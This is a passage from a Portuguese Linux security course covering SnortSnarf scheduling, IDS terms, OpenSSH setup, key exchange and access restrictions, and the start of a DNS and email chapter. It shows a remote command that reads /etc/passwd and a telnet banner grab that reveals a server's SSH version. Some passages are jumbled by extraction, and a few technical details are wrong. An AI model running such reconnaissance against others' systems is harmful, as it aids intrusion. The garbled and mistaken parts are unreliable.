Para analisar os logs do SnortSnarf?, execute qualquer navegador e acesse a URL http://nomedamaquina/snort. Um relatrio de exemplo est apresentado abaixo: fig 1. Anlise do logs do snort atravs do SnortSnarf?. Agendamento de tarefa: A anlise do snort deve ser feita diariamente. A execuo do SnortSnarf? pode ser real izada diariamente atravs de agendamento de tarefas. hand O Agendamento de tarefas no Linux pode ser feito atravs do Cron. Para agenda r tarefas, execute: #crontab -e 30 21 * * * /usr/local/src/SnortSnarf-021111.1/snortsnarf.pl /var/log/snort/ale rt -d /var/www/default/snort A configurao acima determina que todos os dias ser executado s 21 horas e 30 minutos o SnortSnarf?. Depois de configurar, inicie o servio crond. Links Indicados www.snorg.org site oficial do IDS snort. Disponibiliza download, documentao, n otcias e listas de discusses sobre o snort. Possui documentao de como elaborar suas prprias regras do snort. http://www.psionic.com/abacus/portsentry. Site oficial do IDS PortSentry? O portsentry um detector de varreduras e tentativas de conexes a portas comumente u sadas por invasores monitora at 64 portas diferentes. http://www.silicondefense.com/software/snortsnarf/index.htm - Disponibiliza o analisador de log SnortSnarf?. http://www.openwall.com/scanlogd - Disponibiliza o detector de varreduras Sc anlogd, um software desenvolvido pela Solar Designer empresa que desenvolveu o J ohn the Ripper. www.lids.org Site oficial do LIDS Linux Intrusion Detection System. O LIDS i ncorpora ao kernel um detector de varreduras de portas e vrias outras medidas adm initrativas que tornam o sistema mais seguro. O site diponibiliza download, docu mentao, listas de discusses, HOWTO etc. Terminologia Utilizada

IDS Intrusion Detection System Sistemas de deteco de invaso a prtica de utili ferramentas automatizadas e inteligentes para detectar tentativas de invaso em t empo real. Varredura Processo realizado por scanner de rede. scanner de rede - ferramenta para avaliao e deteco de vunerabilidades de uma mqui na remota. Por meio destas ferramentas possvel descobrir falhas e informaes relacio nado sistemas remotos como por exemplo: portas abertas, sistema opeacional, serv ios vunerveis etc.

DoS Denied of Service traduzido como negao de servios resultado da perda de um servio ou uma incapacidade de funcionamento do sistema ou rede. exploits ferramentas de explorao de vunerabilidades. Tem a finalidade de obter

algum recurso remotamente ou localmente atravs da caracterstica ou vunerabilidade de um servio ou sistema. Atravs de um exploit possvel por exemplo obter algum aces so remoto no autorizado. Ataques por fora bruta definido como ataques que utilizam de tentativas ou er ro como por exemplo: tentar adivinhar a senha de usurio atravs de tentativas. Exis tem alguns software que automatizam este processo e possuem uma eficincia relativ amente boa. Syslog - System Log o programa do Linux que trata os logs do sistema. Este s oftware utilizado por padro em todas as distribuies do Linux. Farejadores Sniffers So programas que possuem a finalidade de capturar o trfeg o de dados na rede. Shell Interpretador de comandos a interface do usurio como o kernel. Permite a interao usurio-kernel de forma que um comando executado pelo usurio seja repassado para o kernel que por sua vez executa a ao devida. Script Programa que utiliza de uma linguagem interpretada. Os scripts utiliz am de uma interface que toma e repassa as devidas aes, no sendo necessrio ser compil ado. So exemplos de linguagem interpretadas: Shell, PHP e Perl. NFS Network File System Servio utilizado para compartilhar arquivos em Rede a travs de uma tecnologia criada pela Sun chamada RPC Remote Procedure Call. Exerccios de Reviso 1. Qual a finalidade de um IDS? Quais tipos de ataques so detectados por um I DS? 2. Quais os IDS so disponveis para o Linux? Explique o funcionamento de cada u m. 3. Quais a finalidades das regras do Snort? Aonde posso obter estas regras? 4. Explique o procedimento de configurao do snort. Qual a finalidade dos pr-pro cessadores e plugins de sadas do arquivo de configurao do snort? 5. Fale sobre o analisador de logs SnortSnarf?. 6. Faa uma pesquisa sobre os pr-processadores do snort e descreva todos os tip os. Mostre alguns exemplos de configuraes destes pr-processadores. 7. Faa uma pesquisa sobre os plugins de sadas do snort e descreva todos os tip os. D exemplos de configuraes em que o snort utiliza de banco de dados para armazen ar seus logs. SSH - Secure Shell

O captulo presente retrata o software SSH. Aqui ser apresentado medidas para admin istrao e manuteno de sistemas remotos. O SSH um servio seguro e alternativo a servi como TELNET e FTP que no utilizam de criptografia. Introduo O SSH, assim ao remota. re cliente e importantes como o TELNET, um ferramenta cuja a finalidade permitir a administr Ao contrrio do TELNET, o SSH utiliza de criptografia em toda a transao ent servidor. Isto evita que pessoas mal-intencionadas capturem informaes de sua rede atravs de sniffers farejadores. Na verdade, os dados sero

capturados, mas no sero entendidos, devido a criptografia forte que o SSH utiliza . O SSH, alm de sua principal caracterstica que o acesso remoto, possui ferramentas para transferir arquivos na rede. Mais precisamente, o SSH possui o aplicativo s cp Secure Copy - e ftps FTP Secure que so duas ferramentas que podem ser utilizad as em alternativa ao tradicional FTP que no seguro. Nota: TELNET e FTP so dois servios que devem ser evitados. TELNET e FTP no garantem sigilo de dados e pode comprometer toda a segurana de sua rede ou sistema. No ca ptulo sobre sniffers foi mostrado como capturar por exemplo logins e senhas deste s dois servios. SSH x OpenSSH? O SSH uma implementao comercial e no pode ser utilizado em servios renumerados. O Op enSSH? a variante do SSH portada para o OpenBSD? que posteriormente tornou supor tada pela grande maioria dos sistemas da famlia UNIX incluindo o Linux. O OpenSSH ? no possui limitaes de uso e pode ser utilizado sem restries. Portanto, em nosso mat erial, ser utilizado o OpenSSH?. Protocolos 1 e 2 do SSH O desenvolvimento do SSH est relacionado a utilizao de determinados tipos de algori tmos de criptografia. Os tipos de criptografia implementado pelo SSH determinado por aquilo que chamamos de protocolos 1 e 2. Protocolo 1: O protocolo 1 do SSH diz respeito erses utilizado o algoritmo de criptografia fia assimtrica. Para criptografia de sesso simtrica DES ou Blowfish. O OpenSSH? suporta rio a utilizao do algoritmo RSA1. Porm, 0 e somente vlido nos Estados Unidos.

s verses 1.3 e 1.5 do SSH. Nestas v RSA1 para a troca de chaves criptogra utilizado os algoritmos de criptografia o protocolo 1, sendo que a nica rest este algoritmo expirou no final do ano de 20

Protocolo 2: Neste protocolo o algoritmo RSA foi substitudo pelo DSA e DH2. Porta nto, neste protocolo, no h problemas de patentes relacionado ao OpenSSH?. Nota: O OpenSSH? mesmo no protocolo 2 continua suportando o protocolo 1. Isto pe rmite que cliente no protocolo 1 conecte em servidores que utilizam o OpenSSH? c om verses superiores a 2.0. Funcionamento do SSH O daemon SSH um servio que utiliza o TCP e escuta a porta 22. Toda a segurana de c onexo SSH baseado na troca de chaves entre cliente e servidor e a criao de tunel cr iptografado entre o cliente e o servidor. Ao instalar o OpenSSH?, gerado um par de chaves chave pblica e privada - que ser u tilizado em toda conexo SSH Este par de chaves conhecido como chaves do host: pub host e privhost. Ao iniciar a conexo SSH, um novo par de chaves gerado. Este novo par de chaves nunca armazenado em disco, sendo regerado periodicamente Este par de chaves chamado de chaves do servidor pubserver e privserver. Quando o cliente conecta a primeira vez no servidor SSH, ele ir receber e armazen ar a chave pblica pubhost que ser utilizado em conexes posteriores para garantir qu e o servidor da nova conexo o mesmo servidor da primeira conexo. O cliente tambm ir receber a chave pubserver que em conjunto com a chave pubhost sero utilizadas par a criptografar um nmero aleatrio de 256 bits gerado pelo cliente SSH. Este nmero se r enviado para o servidor e ser usado como chave simtrica para estabelecer o tnel cr iptografado pelo qual toda a informao ser transmitida entre servidor e cliente. Est

e procedimento garante a segurana dos clientes SSH, uma vez que eles possuem a ce rteza que a mquina remota realmente o servidor autentico. Tambm garante o sigilo d os dados, uma vez que somente o servidor ser capaz de descriptografar a chave simt rica enviada pelo cliente, pois apenas o servidor possue as devidas chaves priva das chaves privhost e privserver. CLIENTE SERVIDOR 1. pedido de conexo ------------------------------> 2. envio das chaves pubhost e pubserve r <-----------------------------3. pubhost = chave no arquivo known_hosts 4. gerao e criptografia do nmero 256 bits 5. envio da chave simtrica criptograf ada ------------------------------> 6. tnel criptografado estabel ecido <-----------------------------> fig 1. Anlise da conexo SSH. Em seguida est explicado as etapas da conexo SSH. 1. O cliente abre um porta alta localmente e faz um pedido de conexo na porta 22 do servidor SSH atravs do protocolo TCP. 2. O servidor responde conexo e envia as duas chaves privadas pubhost e pubse rver. 3. A chave pubhost comparado com a chave armazenda no arquivo known_hosts. S e as chaves forem iguais, o processo de conexo continua, caso contrrio um aviso en viado para o cliente SSH e a conexo encerrada. Veja o aviso que ser enviado para o cliente: @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @ WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED! @ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ IT IS POSSIBLE THAT SOMEONE IS DOING SOMETHING NASTY! Someone could be eavesdropping on you right now (man-in-the-middle attack)! It is also possible that the RSA1 host key has just been changed. The fingerprint for the RSA1 key sent by the remote host is bc:29:3d:76:69:8a:2d:d1:47:69:a3:15:d5:c0:4e:88. Please contact your system administrator. Add correct host key in /root/.ssh/known_hosts to get rid of this message. Offending key in /root/.ssh/known_hosts:1 RSA1 host key for intranet.sistemasabertos.com.br has changed and you have reque sted strict checking. Host key verification failed. Para que no haja compatibilidade da chave enviada pelo servidor e a chave armazen ada, h trs casos possveis: O servio SSH do servidor foi reinstalado e uma nova chave consequentemente foi criada, o arquivo known_hosts por algum motivo foi alterad

o manualmente ou algum mal-intencionado est tentando se passar pelo servidor auten tico. Para o ltimo caso, um possvel ataque o man-in-the-middle attack. Ataque onde uma mquina entre o cliente e o servidor simula um proxy SSH e captura a sesso SSH . Neste ataque o invasor simula um servidor para o cliente SSH e um cliente para o servidor SSH. Assim, os dados antes de chegar ao servidor passa pelo invasor que tem acesso ao dados transferidos entre o cliente e o servidor. 4. O cliente gera um nmero de 256 bits que ser a chave simtrica da conexo. Esta chave, antes de ser enviada para o servidor, criptografada por meio das duas cha ves pblicas recebidas. 5. A chave simtrica gerada no cliente enviada criptografada para o servidor. 6. O servidor SSH descriptografa a chave simtrica atravs de suas chaves privad as e estabelece o tnel criptografado. Somente depois deste procedimento de conexo apresentado acima, o usurio poder digitar a senha do usurio e acessar o sistema rem oto. Nota: O arquivo known_hosts criado dentro do diretrio .ssh que fica dentro do dir etrio pessoal de cada usurio. Instalao do OpenSSH? O download do OpenSSH? pode ser feito atravs de seu site oficial http://www.opens sh.org. O cdigo fonte do OpenSSH? deve ser copiado para o diretrio /usr/local/src . Em seguida est apresentado o procedimento de instala: #tar xvfz openssh-3.6.1p2.tar.gz #cd openssh-3.6.1p2 #./configure -&#8211;prefix=/usr/local/openssh --sysconfdir=/etc/ssh #make #make install #export PATH=$PATH:/usr/local/openssh/sbin:/usr/local/openssh/bin

O parmetro -prefix do comando configure determina que o OpenSSH? dever ser instalad o no diretrio /usr/local/openssh. J o parmetro --sysconfdir determina o diretrio em que ser armazenados os arquivos de configurao do OpenSSH?, que neste caso ser o dire trio /etc/ssh. Ao executar o ltimo comando make install possvel observar a gerao ar de chaves pubhost e privhost. O comando export configura a varivel $PATH para que os comandos do OpenSSH? possa ser executado a partir de qualquer diretrio sem a necessidade de utilizar o caminho absoluto. Nota: No momento do desenvolvimento deste material, a ltima verso do OpenSSH? era a 3.6.1. Esta verso suporta os protocolos 1 e 2. Executando o daemon do OpenSSH? O OpenSSH? baseado em um daemon chamado sshd e um cliente que faz requisies ao ser vidor atravs do comando ssh. hand Para iniciar o daemon no servidor OpenSSH?, execute: #sshd -f /etc/ssh/sshd_config A opo -f especifica o arquivo de configurao do sshd. Observe que o diretrio /etc/ssh foi definido na instalao do OpenSSH?. hand Para verificar se o sshd realmente foi inicializado, pode ser utilizado o s canner de rede nmap. #./nmap localhost Interesting ports on localhost.localdomain (127.0.0.1):

(The 1609 Port 22/tcp 6000/tcp

ports scanned but not shown below are in state: closed) State Service open ssh open X11

Nmap run completed -- 1 IP address (1 host up) scanned in 3.349 seconds A sada do comando nmap permite identificar o daemon ssh escutando a porta 22. Executando o cliente OpenSSH? O cliente OpenSSH? pode ser utilizado para efetuar um login remoto ou para somen te executar um comando no servidor OpenSSH? remotamente. Efetuando um login remoto: Este tipo de utilizao do cliente SSH o mais utilizado, pois o usurio remotamente te m controle total sobre a mquina. Esta forma de uso muito utilizado para administr ar e dar manuteno remotamente no servidor. hand Para acessar o servidor OpenSSH? remotamente, execute o seguite comando: #ssh -l jpaulo 10.1.0.10 hand Um mesmo resultado pode ser obtido executando o ssh com da seguinte forma: #ssh jpaulo@10.1.0.10 Nos dois exemplos, o usurio de conexo o jpaulo, e o servidor que deseja-se conecta r a mquina de IP 10.1.0.10.

Nota: A configurao padro de instalao do OpenSSH? permite que todos usurios do sistema possa efetuar logon via SSH. Se for a primeira vez que voc estiver acessando o servidor sshd, a seguinte mensa gem ser apresentada: #ssh jpaulo@10.1.0.10 The authenticity of host 'localhost (127.0.0.1)' can't be established. RSA key fingerprint is 56:b0:44:fa:ca:49:36:54:ff:ec:c1:5a:d3:65:7d:cd. Are you sure you want to continue connecting (yes/no)?yes

Esta a identificao do servidor SSH que ser utilizada em conexes futuras para garanti r que as conexes esto sendo direcionadas corretamente ao servidor autentico. Esta identificao tambm chamada fingerprint - impresso digital composta pela chave pblic ubhost e ser armazenada no diretrio ~/.ssh/known_hosts, ou seja, cada usurio ter seu prprio arquivo para armazenar a identificao de seus servidores SSH. Execuo de comandos remotamente O OpenSSH? permite o envio de comandos atravs de seus clientes para que sejam pro cessados no servidor. A sintaxe para est funo do SSH est demonstrada abaixo: #ssh <usurio>@<servidor_SSH> <comandos> Obviamente, a execuo destes comandos remotamente exige autenticao. O exemplo que se segue baseado em um usurio que deseja ler o arquivo /etc/passwd do servidor SSH. #ssh fulano@intranet.sistemasabertos.com.br cat /etc/passwd fulano@intranet's password:

root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin: daemon:x:2:2:daemon:/sbin: adm:x:3:4:adm:/var/adm: Neste exemplo, o usurio fulano utiliza o SSH para ler o arquivo /etc/passwd do se rvidor intranet. A conexo ser encerrada assim que a execuo do comando for terminada. Configurao do OpenSSH?

A instalao e configurao padro do OpenSSH? utiliza de 8 arquivos. Estes arquivos so en ontrados no diretrio /etc/ssh definido na instalao. Abaixo est a descrio de cada um: Arquivos de Configurao

Arquivo de Configurao Descrio ssh_config Arquivo de configurao do cliente OpenSSH?. Neste arquivo definido as configuraes globais para todos os usurios SSH. possvel cada usurio ter uma config rao particular atravs do diretrio ~/.ssh. sshd_config Arquivo de configurao do servidor OpenSSH?. Todas as definies do dae mon sshd feita neste arquivo. ssh_host_key Arquivo contendo a chave privada no protocolo 2. O algoritmo uti lizado o RSA. ssh_host_key.pub Arquivo contendo a chave pblica do host pubhost - no prot ocolo 2. O algoritmo utilizado o RSA. ssh_host_rsa_key Arquivo que armazena a chave privada de algoritmo RSA ut ilizada no protocolo 2. ssh_host_rsa_key.pub Arquivo que armazena a chave pblica do host - pubhost - n o algoritmo RSA utilizada no protocolo 2. ssh_host_dsa_key Arquivo que armazena a chave privada de algoritmo DSA ut ilizada no protocolo 2. ssh_host_dsa_key.pub Arquivo que armazena a chave pblica pubhost - no algoritm o DSA utilizada no protocolo 2. Importante: Todos os arquivos que guardam as chaves privadas deve ter permisses 6 00 e dono root. Os arquivos que guardam as chaves pblicas dever ter permisses 644 e dono root. Configurao do Servidor OpenSSH? A configurao do daemon sshd, como explicado anteriormente, feita atravs do arquivo sshd_config. Eis aqui um exemplo de configurao: #Port 22 #Protocol 2,1 #ListenAddress 0.0.0.0 # HostKey for protocol version 1 #HostKey /etc/ssh/ssh_host_key # HostKeys for protocol version 2 #HostKey /etc/ssh/ssh_host_rsa_key #HostKey /etc/ssh/ssh_host_dsa_key # Lifetime and size of ephemeral version 1 server key #KeyRegenerationInterval 3600 #ServerKeyBits 768 #LoginGraceTime 120 #PermitRootLogin yes

Os parmetros apresentados fazem parte de apenas um trecho do arquivo de configurao do sshd. A configurao apresentada a padro de instalao. S necessrio descomentar o ros se for alterar a configurao de determinado parmetro. Port 22: Determina a porta de comunicao do daemon sshd. Protocol 1,2: Determina os protocolos suportados pelo OpenSSH?. HostKey? : Determina os arquivos que contm as chaves privadas utilizadas pelo SSH. A chave privada padro para o protocolo 1 o arquivo /etc/ssh/ssh_host_key. A s chaves /etc/ssh/ssh_host_rsa_key e /etc/ssh/ssh_host_dsa_key so utilizadas pelo protocolo 2 do SSH. Nota: RSA1 utilizada no protocolo 1. DSA e RSA so utilizadas no protocolo verso 2. KeyRegenerationInterval? 3600 : No protocolo 1, as chaves do servidor pubser ver e privserver so regeneradas automaticamente depois do tempo definido por este parmetro o padro 3600 segundos. Se o valor utilizado for 0, a chave nunca ser rege nerada. Estas chaves nunca so armazenadas em arquivos. Esta regenerao evita que a c have simtrica utilizada para criptografar a sesso SSH seja sempre a mesma. ServerKeyBits? 768: Determina o tamanho das chaves do servidor a ser gerada. O valor mnimo 512, e o padro 768. LoginGraceTime? 120: Define o tempo mximo que o usurio tem para digitar a senh a e logar no sistema. Depois que expirar este tempo, a conexo ser fechada. O tempo dado em segundos, o valor 0 zero determina o tempo como sendo ilimitado, o valo r 120 o valor padro. PermitRootLogin? yes: Quando configurado com o valor yes ir permitir o usurio root logar no servidor SSH. Nota: maiores detalhes sobre este arquivo pode ser encontrada atravs das pginas de manual, para isto execute: man 5 sshd_config. Restringindo o acesso baseado em usurios e grupos

O daemon sshd suporta configuraes de acesso baseado em usurio e grupo de usurios. A configurao destas restrines so feitas atravs do arquivo sshd_config. Toda alterao d arquivo exige que o servio sshd seja reiniciado. Configurao baseada em usurios Os parmetros utilizados so: AllowUsers? - Este parmetro utilizado para permitir que determinados usurios t enham acesso ao servidor. A partir do momento que este parmetro declarado, soment e os usurios definidos tero acessos. Os usurios devem ser serparados por espaos. Car acteres curingas( ? e * ) podem ser utilizados. Veja o exemplo: AllowUsers jpaulo akira maria leandro carolina silva* Por padro todos os usurios esto habilitados para acessar o servidor OpenSSH?. DenyUsers? Os usurios definidos neste parmetro tero acesso negado. A sintaxe de ste parmetro igual a sintaxe do AllowUsers?. Veja o exemplo: DenyUsers revalino robson patricia marcelo? Este exemplo nega o acesso aos usurios: revalino, robson, patrcia e marcelo?. O ca

ractere curinga ? substitui um nico caractere aps o nome marcelo. Portanto, usurios como: marcelo1, marcelo2, marceloS sero negados tambm. Configurao baseada em grupos de usurios Para esta configurao existem os parmetros: AllowGroups? e DenyGroups?. Abaixo est a descrio deste parmetros.

AllowGroups? Permite que determinados grupos do sistema tenham acesso ao ser vidor OpenSSH?. Esta regra aplicada aos integrantes do grupo. Somente aceito nom e de grupos, nmeros de identificao de grupo GID no podem ser utilizados. Tambm a caracteres curingas. Segue um exemplo: AllowGroups admrede suporte DenyGroups &#8211; Os usurios pertencentes aos grupos definidos por este parmetro tero acesso negado. DenyGroups alunos professores O exemplo acima determina que qualquer usurio que pertena ao grupos alunos e profe ssores no podero acessar o servidor. Anlise do trfego de uma conexo SSH Todo o processo de troca de chaves em uma conexo SSH pode ser verificado atravs da opo -n do comando ssh. #ssh -v jpaulo@localhost OpenSSH_3.6.1p2, SSH protocols 1.5/2.0, OpenSSL 0x0090701f debug1: Reading configuration data /etc/ssh/ssh_config debug1: Rhosts Authentication disabled, originating port will not be trusted. debug1: Connecting to localhost [127.0.0.1] port 22. debug1: Connection established. debug1: identity file /root/.ssh/identity type -1 debug1: identity file /root/.ssh/id_rsa type -1 debug1: identity file /root/.ssh/id_dsa type -1 debug1: Remote protocol version 1.99, remote software version OpenSSH_3.6.1p2 debug1: match: OpenSSH_3.6.1p2 pat OpenSSH* debug1: Enabling compatibility mode for protocol 2.0 debug1: Local version string SSH-2.0-OpenSSH_3.6.1p2 debug1: SSH2_MSG_KEXINIT sent debug1: SSH2_MSG_KEXINIT received debug1: kex: server->client aes128-cbc hmac-md5 none debug1: kex: client->server aes128-cbc hmac-md5 none debug1: SSH2_MSG_KEX_DH_GEX_REQUEST sent debug1: expecting SSH2_MSG_KEX_DH_GEX_GROUP debug1: SSH2_MSG_KEX_DH_GEX_INIT sent debug1: expecting SSH2_MSG_KEX_DH_GEX_REPLY debug1: Host 'localhost' is known and matches the RSA host key. debug1: Found key in /root/.ssh/known_hosts:1 debug1: ssh_rsa_verify: signature correct debug1: SSH2_MSG_NEWKEYS sent debug1: expecting SSH2_MSG_NEWKEYS debug1: SSH2_MSG_NEWKEYS received debug1: SSH2_MSG_SERVICE_REQUEST sent debug1: SSH2_MSG_SERVICE_ACCEPT received debug1: Authentications that can continue: publickey,password,keyboard-interacti ve debug1: Next authentication method: publickey debug1: Trying private key: /root/.ssh/identity

debug1: Trying private key: /root/.ssh/id_rsa debug1: Trying private key: /root/.ssh/id_dsa debug1: Next authentication method: keyboard-interactive debug1: Authentications that can continue: publickey,password,keyboard-interacti ve debug1: Next authentication method: password jpaulo@localhost's password: Todo o processo de transmisso de chaves e comparao das chaves atravs do arquivo know n_hosts pode ser verificado na sada acima. Observe que todo este processo acontec e antes do prompt de autenticao atravs de senha.

O trfego do SSH pode ser analisado atravs de um sniffer farejador. Na anlise do trfe go possvel notar que os dados so realmente criptografados. Para tal comprovao ser ut lizado o sniffit. #sniffit -i fig 2. Exemplo de captura de uma sesso SSH. possvel observar que todos os dados so criptografados ao trafegar na rede. Outros sniffers podem ser utilizado para obter tal resultado. Se a sesso fosse de um TEL NET por exemplo, todos os comandos executados pelo usurio poderiam ser capturados precisamente. Transferncia de arquivos O OpenSSH? alm de permitir acesso remoto, possui ferramentas que permitem a trans ferncia de arquivos em rede. As ferramentas que possuem tal finalidade so: o scp e o ftps. O scp Secure Copy um programa de sintaxe muito parecida com o ssh. J o ftps simul a o tradicional FTP. Estes programas utilizam a mesma porta que o SSH porta 22 e transferem toda informao de forma segura, ou seja, criptografada. Nota: Estes dois programas uma tima alternativa para substituio do FTP tradicional. Lembrando que a utilizao do FTP deve ser evitada devido aos graves problemas de s egurana que este servio possui. Utilizando o SCP Secure Copy Uma vez instalado o OpenSSH?, o scp tambm j ser instalado e estar apto a ser utiliza do assim que o daemon sshd estiver inicializado. Enviando arquivos - upload: hand A sintaxe de envio de arquivos do scp est apresentada abaixo: #scp <arquivo> <usurio>@<servidor_SSH>:<diretrio_de_destino> hand Abaixo est apresentado um exemplo: #scp teste.txt jpaulo@intranet.sistemasabertos.com.br:/home/nova_versao jpaulo@intranet.sistemasabertos.com.br's password: teste.txt 100% 25KB 946.7KB/s 00:00 Este exemplo simula o envio do arquivo teste.txt, sendo que o usurio utilizado no servidor intranet.sistemasabertos.com.br o jpaulo. Neste exemplo o arquivo ser e nviado para o diretrio /home/nova_versao.

Baixar arquivos download: hand A sintaxe para download de arquivo do scp est apresentada abaixo: #scp jpaulo@intranet.sistemasabertos.com.br:/home/nova_versao/teste.txt /tmp O exemplo acima simula o download do arquivo teste.txt que est no servidor intran et. Neste exemplo, o arquivo ser gravado no diretrio /tmp. Utilizando o SFTP Secure File Transfer Protocol Para utilizar o FTPS necessrio configurar o sshd. A configurao baseada simplesmente em habilitar uma linha no arquivo sshd_config. Subsystem sftp /usr/local/openssh/libexec/sftp-server

Depois de habilitar a linha acima, reinicialize o servidor sshd. Utilizando o cliente ftps: hand Para conectar ao servidor, execute: #sftp jpaulo@10.1.0.10 Connecting to localhost... jpaulo@10.1.0.10's password: sftp> Neste exemplo o usurio de conexo o jpaulo e o servidor sshd a mquina de IP 10.1.0.1 0. Depois de logado no sistema, os mesmos comandos do FTP tradicional vlido, ou sej a, voc poder utilizar o mget e mput para baixar e enviar arquivos respectivamente. Para verificar quais comandos so suportados, execute HELP no prompt do FTPS. Descobrindo a verso do OpenSSH? remotamente Alguns scanners de rede capaz de determinar a verso do OpenSSH? est sendo executad o em um servidor. Entretanto, uma forma mais simples baseado na utilizao do client e telnet, veja o exemplo: #telnet torre.xadrezenet.com.br 22 Trying 200.1.2.3... Connected to torre.xadreznet.com.br. Escape character is '^]'. SSH-1.5-OpenSSH-1.2.3 O exemplo baseado em um simples telnet na porta 22 porta padro do servidor SSH. A verso do OpenSSH? um dado importantssimo para quem deseja realizar um ataque bemsucedido. Portanto, no mostrar est verso uma medida preventiva que dificulta possvei s ataques. A verso deve ser alterada diretamente atravs do cdigo fonte, o arquivo q ue deve ser alterado o version.h. Depois de alterar este arquivo, o OpenSSH? dev er ser reinstalado Consideraes Finais Assim como qualquer software, o SSH e o OpenSSH? j apresentou vunerabilidades que veio a comprometer a segurana do sistema. Isto acontece em verses mais antigas do OpenSSH? e a histria permite afirmar que acontecer com as verses recentes e futura s. Entretanto, o papel do administrador conhecer estes problemas e de acordo com a necessidade fazer as correes necessria. Assim como qualquer sistema necessita de atualizao o OpenSSH? segue os mesmos conceitos. Os problemas de segurana recentes

e antigos podem ser encontrados no endereo http://www.openssh.org/security.html. Links Indicados http://www.openssh.org site oficial do OpenSSH?. Toda informao sobre o projeto OpenSSH? encontrada neste endereo. Disponibiliza o cdigo fonte para diversos sist emas operacionais. http://www.openssh.org/security.html Este endereo possui um histrico de segura na que apresenta as vunerabilidades do OpenSSH?. Este endereo deve ser visitado co nstantemente para ficar a par dos novos problemas relacionados ao OpenSSH?. http://www.packetstormsecurity.org Site especializado em seguranA. Disponibil iza anncios de segurana e ferramentas relacionadas a segurana de sistemas. Algumas exploits do OpenSSH? pode ser encontrado neste endereo, basta fazer uma busca sob re exploit OpenSSH?. http://www.cert.org Principal site relacionado aos anncios e alertas de segur ana. As ltimas notcias sobre vunerabilidades de servios e sistema operacional so disp onibilizado neste endereo. O site possui informaes de como corrigir sistemas vunerve is, assim como evitar possveis problemas futuros. Os problemas de segurana do Open SSH? pode ser encontrado fazendo uma busca por OpenSSH neste endereo. http://www.securiteam.com site especializado em segurana. Disponibiliza cdigo fonte de programas de explorao, ferramentas de ataque e defesa para vrios sistemas operacionais, ltimas notcias de segurana e listas de discusso. Terminologia Utilizada SSH Secure Shell - Ferramenta cuja a finalidade permitir a administrao remota. Possui recursos mais avanados que o TELNET, garantindo a segurana na tranferncia d e dados entre cliente e servidores. OpenSSH? - a variante do SSH portada para o OpenBSD? que posteriormente torn ou suportada pela grande maioria dos sistemas da famlia UNIX incluindo o Linux. Sniffers Traduzido como farejadores, so ferramentas que permitem que todo o t rfego da rede seja capturado. FTP File Transfer Protocol Protocolo utilizado para transferncia de arquivo e m rede. Este protocolo no utiliza criptografia na transferncia de dados entre clie nte e servidor e, portanto, vunervel a ataques atravs de sniffers. Criptografia simtrica Criptografia onde a chave para criptografar a mesma par a descriptografar Criptografia assimtrica Criptografia que utiliza de um par de chaves chave pbl ica e chave privada. Neste tipo de criptografia a chave que criptografa diferent e da chave para descriptografar. Chave pblica a chave que pode ser distribuda a critrio. Uma vez criptografado c om est chave somente a chave privada ser capaz de descriptograf-la. Chave privada Est chave deve ser mantida em sigilo. utilizada para descriptog rafar criptografias geradas a partir da chave pblica. RSA Algoritmo de criptografia assimtrica. A abreviao RSA proveniente do sobre-n omes dos autores: Ron Rivest, Adi Shamir e Leonard Adleman. Possui patente mas e st expirou no final do ano 2000, porm somente vlida nos EUA.

DSA Algoritmo de criptografia assimtrica criado por David Kravitz. Este algor itmo pode ser utilizado sem restries. DH - Algoritmo de criptografia assimtrica criado por Diffie-Hellman. Este alg oritmo pode ser utilizado sem restries. DES Data Encryption Standard - Algoritmo de criptografia simtrica criado pela IBM. Blowfish um algoritmo criptogrfico de chave simtrica desenvolvido por Bruce Sc hneier. Este algoritmo foi criado em alternativa ao DES. No patenteado e totalmen te grtis, no necessitando de licena. man-in-the-middle attack - Ataque onde uma mquina entre o cliente e o servido r simula um proxy SSH e captura a sesso SSH. Neste ataque o invasor simula um ser vidor para o cliente SSH e um cliente para o servidor SSH. Assim, os dados antes de chegar ao servidor passa pelo invasor que tem acesso ao dados transferidos e ntre o cliente e o servidor. Exerccios de Reviso 1. Quais os tipos de servios que o SSH oferece? Fale sobre as vantagens do SS H em relao ao TELNET e o FTP. 2. Comente sobre os protocolos 1 e 2 do SSH. 3. Descreva sobre o funcionamento do SSH analisando todas as etapas da anlise de conexo e trocas de chaves. 4. Como aplicar regras de segurana baseado em usurio e grupos de usurios? 5. Como possvel enviar comandos remotamente para ser executado no servidor Op enSSH?? Faa uma pesquisa e descreva todas as opes do cliente SSH. 6. Como possvel utilizar o OpenSSH? para transferir arquivos em rede? Descrev a os procedimento de utilizao das ferramentas correlacionadas. Segurana no DNS e EMAIL Neste captulo ser apresentado as formas de ataques e defesas relacionado aos princ ipais servios Internet. Aqui ser implementado polticas de segurana ao servios: DNS e EMAIL. O servio WWW tem um captulo exclusivo devido a uma srie de cuidados que deve ser aplicado a este servio. Conceitos Gerais Na internet existem vrios servios que so disponibilizados por uma ou mais empresas, por exemplo: para o servio de email existem os seguintes softwares: sendmail, po stfix, qmail, etc que so disponibilizados por empresas diferentes. Para implement ar um servio com maior segurana a primeira medida saber escolher o software. Para fazer esta escolha, deve-se levar em considerao os seguintes aspectos:

Constante Desenvolvimento - Um bom software deve estar em constante desenvol vimento: correes de bugs, aprimoraes dos recursos atuais, implementaes de novas funci nalidades. Servio Seguro - Deve-se dar preferncia a software que criptografam os dados em trnsito. Servios que no so seguros no podem trafegar dados sigilosos, pois podem ser capturados via rede por meio de sniffers. Dono do Processo - Servios que so disponibilizados na Internet, na medida do p ossvel, deve executar seu processo com usurios no privilegiados, pois evitam que at

aques ao servio forneam acessos privilegiados como do usurio root. Recursos do software - O software fornece implementaes de polticas de segurana b aseado em usurio e host. Apesar de no ser suficiente, estas medidas de segurana aju dam a restringir e a minimizar os problemas de segurana. Depois de escolhido e instalado o software deve-se tomar os seguintes cuidados:

